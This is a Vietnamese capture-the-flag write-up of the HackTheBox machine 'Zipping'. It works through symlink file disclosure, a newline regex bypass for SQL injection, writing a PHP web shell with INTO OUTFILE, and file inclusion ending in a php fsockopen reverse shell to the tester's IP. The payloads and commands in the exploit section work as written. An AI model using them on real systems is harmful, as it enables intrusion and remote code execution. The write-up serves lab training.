OS | Difficulty |
---|---|
Linux | Medium |
Giới thiệu
Zipping là 1 machine thuộc dạng medium của Hackthebox. Với mức độ easy thì phần lớn là chúng ta sẽ dùng các CVE để thực hiện khai thác. Nhưng với những bài dạng medium thì cần phải có hiểu biết với những lỗ hổng bảo mật cũng như cách bypass filter mà đề bài đặt ra. Với bài zipping này ta sẽ có kiến thức về symlink, bypass được regex, SQL Injection, Local File Inclusion
1. Recon
Thực hiện nmap để scan port đang mở
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sC -sV 10.10.11.229
Starting Nmap 7.92 ( https://nmap.org ) at 2023-12-25 02:33 EST
Nmap scan report for 10.10.11.229
Host is up (2.2s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu7.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 256 9d:6e:ec:02:2d:0f:6a:38:60:c6:aa:ac:1e:e0:c2:84 (ECDSA)
|_ 256 eb:95:11:c7:a6:fa:ad:74:ab:a2:c5:f6:a4:02:18:41 (ED25519)
80/tcp open http Apache httpd 2.4.54 ((Ubuntu))
|_http-title: Zipping | Watch store
|_http-server-header: Apache/2.4.54 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.20 seconds
Hiện nó đang mở cổng ssh và http.
Server chạy với ngôn ngữ PHP và trên Apache Server
2. Enum
Thực hiện directory scan
┌──(kali㉿kali)-[~/hackthebox/zipping]
└─$ ffuf -c -ic -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://10.10.11.229/FUZZ /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v1.5.0 Kali Exclusive <3
________________________________________________ :: Method : GET :: URL : http://10.10.11.229/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________ [Status: 200, Size: 16738, Words: 5717, Lines: 318, Duration: 974ms]
uploads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 124ms]
shop [Status: 301, Size: 311, Words: 20, Lines: 10, Duration: 113ms]
assets [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 105ms]
Thực hiện kiểm tra trên giao diện web
Chức năng Work with Us
cho phép ta upload file cv bằng pdf và thư mục lưu trữ các file đó sẽ là /uploads
Chức năng Shop
sẽ redirect ta đến 1 trang web mua hàng:
3. Exploit
Quay lại với chức năng upload cv mà mình tìm được
Yêu cầu đầu vào của nó là file up lên phải là 1 file .zip và file .zip đó được nén từ file .pdf. Như này thì ta không thể thực hiện bằng file upload thông thường với php được
Sau khi tìm kiếm trên hacktricks thì đó là upload symlink. Nguồn của nó ở đây.
Cụ thể ta sẽ thực hiện upload 1 symlink với đuôi .pdf trỏ đến file có trên server. Câu lệnh linux sẽ như sau:
ln -s ../../../../../../../../đường_dẫn_đến_file_ta_cần_xem tên_file.pdf
Sau đó sẽ thực hiện zip lại
zip --symlinks tên_file.zip tên_file.pdf
Để kiểm chứng giả thuyết mình sẽ thực hiện tạo symlink với /etc/passwd
ln -s ../../../../../../../../etc/passwd passwd.pdf
Mình sẽ đặt tên cái symlink này là passwd.pdf
. Sau đó sẽ thực hiện zip lại với tên là passwd.zip
zip --symlinks passwd.zip passwd.pdf
Sau đó sẽ upload lên thành công mình đọc nó sẽ tạo cho mình 1 thư mục ngẫu nhiên trong đó có file pdf(lúc này là symlink) mà mình đã nén. Như hình dưới là /uploads/829dd708554768e3f1bc404bf4daf445/symlink.pdf
Như vậy đến lúc này mình hoàn toàn có thể đọc được flag của user do mình biết trong file /etc/passwd
có 1 người dùng tên là rektsu
và có thư mục là /home/rektsu
(ở dòng 35 ở phần response trả về)
Nhưng mục đích của mình là RCE được hệ thống ít nhất với quyền user nên là mình sẽ không vội xem flag
Đến với việc khai thác chính:
Đầu tiên ta cần phải xem trên web nó gồm những file php nào. Sau một hồi tìm tất cả các chức năng thì mình tìm được các tên tệp sau:
- index.php
- upload.php
- shop (folder )
- home.php
- products.php
- product.php
- cart.php
- function.php
Sau đó chúng ta sẽ đọc từng file trên hệ thống như cái cách ta kiểm chứng giả thuyết với /etc/passwd
ở trên. Mình sẽ đưa các file là attack surface xuống dưới đây và giải thích
/shop/index.php
<?php session_start(); // Include functions and connect to the database using PDO MySQL include 'functions.php'; $pdo = pdo_connect_mysql(); // Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see. $page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home'; // Include and show the requested page include $page . '.php';
?>
Chức năng của file index này nó có input là page
sau đó nó nối input của chúng ta vào đuôi .php
Sau đó sẽ kiểm tra xem nó có tồn tại hay không nếu có sẽ thực hiện include file đó. Nếu không nó sẽ gọi đến home.php
(1 trang không khai thác được)
Thì điểm khai thác ở đây là nó nhận untrusted data ở biếnpage
và sử dụng include để gọi đến, dẫn đến lỗ hổng Local File Inclusion(LFI). Nhưng trở ngại ở đây là cái file mình nhập vào nó phải tồn tại trên server và có đuôi .php
. Và như vậy theo mình đây là 1 nơi để có thể RCE
/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) { $id = $_GET['id']; // Filtering user input for letters or special characters if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) { header('Location: index.php'); } else { // Prepare statement and execute, but does not prevent SQL injection $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'"); $stmt->execute(); // Fetch the product from the database and return the result as an Array $product = $stmt->fetch(PDO::FETCH_ASSOC); // Check if the product exists (array is not empty) if (!$product) { // Simple error to display if the id for the product doesn't exists (array is empty) exit('Product does not exist!'); } }
} else { // Simple error to display if the id wasn't specified exit('No ID provided!');
}
?>
Ở file product.php
này, nó có biến id
mà ta có thể thay đổi được. Biến id
này sẽ đi vào 1 cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/
, giải thích qua cái regex này thì nó sẽ kiểm tra xem id
có phải là số không, nếu không phải là số web sẽ redirect về index.php
. Nếu là số nó sẽ xuống else
và đi vào câu truy vấn.
Ở code có sử dụng prepare statements(1 cách để chống với SQL injection) nhưng thực ra biến id
được nối vào câu query nên ta vẫn có thể khai thác SQLi được.
Attack vector mình nghĩ trong đầu sẽ là:
- SQL injection để tạo file
shell.php
trong hệ thống - Sau đó dùng LFI để include đến file shell.php rồi có thể RCE hệ thống
Bắt đầu thực hiện
Đầu tiên với product.php
/shop/product.php
<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) { $id = $_GET['id']; // Filtering user input for letters or special characters if(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) { header('Location: index.php'); } else { // Prepare statement and execute, but does not prevent SQL injection $stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'"); $stmt->execute(); // Fetch the product from the database and return the result as an Array $product = $stmt->fetch(PDO::FETCH_ASSOC); // Check if the product exists (array is not empty) if (!$product) { // Simple error to display if the id for the product doesn't exists (array is empty) exit('Product does not exist!'); } }
} else { // Simple error to display if the id wasn't specified exit('No ID provided!');
}
?>
Đầu tiên ta cần nhập biến id
vào mà có thể bypass cái regex ở if và đi đến câu query. Sau khi tìm hiểu thì mình tìm được ở đây , giải thích thì
Để bypass cái regex /^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/
chúng ta sẽ thực hiện xuống dòng sau (%0A) để bypass cụm 1(.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]
) và để số ở cuối để bypass cụm 2([^0-9]
)
Như vậy input của mình sẽ là:
%0A'; select sleep(5) #4
-- URL encode: %0a'%3bselect%20sleep(5)%20%234
Câu lệnh này nếu thực hiện sẽ cho hệ thống chờ 5 giây
Kiểm tra trên burp và nó có thời gian phản hồi là 5 giây ở phần khoanh đỏ
Như vậy ta có thể thực hiện SQL trên hệ thống. Nhưng SQL để làm gì? SQL ngoài truy vấn ra còn có thể ghi file lên hệ thống nhưng phải có quyền ghi, mà làm sao mình biết mình có quyền hay không?
Và theo mình tìm hiểu thì chúng ta có quyền ghi file vào /var/lib/mysql/
, nó giống như /tmp
trong linux vậy
Như vậy mình bắt đầu viết câu query để thực hiện tạo file và ghi vào file đó trên /var/lib/mysql/
. Payload là:
%0A';select '<?php system($_GET["cmd"]); ?>' into outfile '/var/lib/mysql/shell123.php' #4
Thực hiện gửi request
Đến đây mình sẽ dùng LFI để có thể gọi đến file .php
này và RCE
Chúng ta thực hiện reverse shell và lắng nghe ở máy local
http://10.10.11.229/shop/index.php?page=../../../../../../../../var/lib/mysql/shell123&cmd=../../../../../../../../var/lib/mysql/shell123&cmd=php%20-r%20%27$sock=fsockopen(%2210.10.14.74%22,8888);$proc=proc_open(%22/bin/sh%20-i%22,%20array(0=%3E$sock,%201=%3E$sock,%202=%3E$sock),$pipes);%27
RCE thành công
4. Recommendation
- Không cho untrusted data được lọt vào hàm include
- Nên thực sự hiểu và dùng regex